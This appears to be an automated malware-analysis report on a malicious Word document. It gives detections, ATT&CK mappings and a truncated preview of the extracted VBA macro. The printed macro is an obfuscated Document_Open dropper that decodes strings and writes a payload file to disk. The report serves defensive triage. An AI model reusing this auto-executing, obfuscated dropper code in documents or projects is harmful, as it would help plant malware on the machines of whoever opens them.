MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro uses CreateObject and appears to deobfuscate and execute code, likely to download a second-stage payload. The document body explicitly instructs the user to enable editing and content, a common social engineering tactic to bypass macro security.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6425600-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6425600-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 520880 bytes |
SHA-256: 4d9fb2c74ff18129e22ae6796f322d14a8175ac049b5a9937a99f5352757e51e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 697 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub Document_Open()
On Error Resume Next
oOmuF
Dim lGtkM As String
lGtkM = bvZQK(YJkga)
Dim WUVQs As String
WUVQs = YfTZz(CCjvt(14484, 14535))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20339, 20240)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(15334, 15252)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13553, 13441)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13339, 13429)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(15788, 15819)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(14398, 14352)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(11594, 11532)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20525, 20545)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(14484, 14535)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18247, 18238)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13608, 13659)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(12086, 12123)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20388, 20459)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20880, 20978)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(11896, 11794)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20339, 20240)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
Dim GiFVa As Object
Set GiFVa = CreateObject(WUVQs)
Dim fWfeY As Object
Dim euIGw As String
euIGw = ""
euIGw = HozTI(euIGw, YfTZz(CCjvt(18376, 18315)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15388, 15398)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(18099, 18147)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15334, 15252)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15788, 15819)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15334, 15252)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(12086, 12123)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16035, 16103)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(18226, 18246)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(13570, 13653)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(19460, 19552)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(17647, 17560)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13608, 13659)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(20332, 20258)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(21084, 21000)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(13570, 13653)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(19460, 19552)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(17647, 17560)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13608, 13659)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(20332, 20258)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(21084, 21000)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(14398, 14352)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
Set fWfeY = GiFVa.CreateTextFile(euIGw, True, True)
fWfeY.Write lGtkM
fWfeY.Close
NhFSC
MEAfr
End Sub
Public Function MEAfr()
Dim IDcEZ As Object
Dim PtEta As String
PtEta = ""
PtEta = HozTI(PtEta, YfTZz(CCjvt(14484, 14535)))
PtEta = HozTI(PtEta, YfTZz(CCjvt(12419, 12523)))
PtEta = HozTI(PtEta, YfTZz(CCjvt(18726, 18755)))
PtEta = HozTI(PtEta, YfTZz(CCjvt(20525, 20545)))
PtEta = HozTI(PtEt
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.